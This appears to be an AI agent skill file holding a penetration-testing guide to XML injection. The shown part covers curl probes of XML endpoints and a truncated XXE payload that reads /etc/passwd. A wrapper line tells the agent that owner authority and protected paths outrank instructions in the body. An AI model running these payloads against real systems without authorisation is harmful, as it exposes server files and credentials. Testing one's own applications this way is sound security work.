cyber-testing-for-xml-injection-vulnerabilities

name	cyber-testing-for-xml-injection-vulnerabilities
description	Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.
source	mukul975/Anthropic-Cybersecurity-Skills
license	Apache-2.0
authorized_lab	false
origin_frontmatter	name: testing-for-xml-injection-vulnerabilities | description: Test web applications for XML injection vulnerabilities including XXE, | XPath injection, and XML entity attacks to identify data exposure and server-side | request forgery risks. | domain: cybersecurity | subdomain: web-application-security | tags: | - xml-injection | - xxe | - xpath-injection | - xml-parsing | - web-security | - entity-injection | - dtd-attack | version: '1.0' | author: mahipal | license: Apache-2.0 | nist_csf:
hide	true

Defensive/analysis cyber skill. Source: mukul975/Anthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.

Testing for XML Injection Vulnerabilities

When to Use

• When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)
• During penetration testing of applications with XML parsers
• When assessing SAML-based authentication implementations
• When testing file import/export functionality that handles XML formats
• During API security testing of SOAP or XML-based web services

Prerequisites

• Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)
• XMLLint or similar XML validation tools
• Understanding of XML structure, DTDs, and entity processing
• Python 3.x with lxml and requests libraries
• Access to an out-of-band interaction server (Burp Collaborator, interact.sh)
• Sample XXE payloads from PayloadsAllTheThings repository

Workflow

Step 1 — Identify XML Processing Endpoints

# Look for endpoints accepting XML content types
# Content-Type: application/xml, text/xml, application/soap+xml
# Check WSDL files for SOAP services
curl -s http://target.com/service?wsdl

# Test if endpoint accepts XML by changing Content-Type
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root><test>hello</test></root>'

# Check for XML file upload functionality
# Look for .xml, .svg, .xlsx, .docx file processing

Step 2 — Test for Basic XXE (File Retrieval)

<!-- Basic XXE to read local files -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><>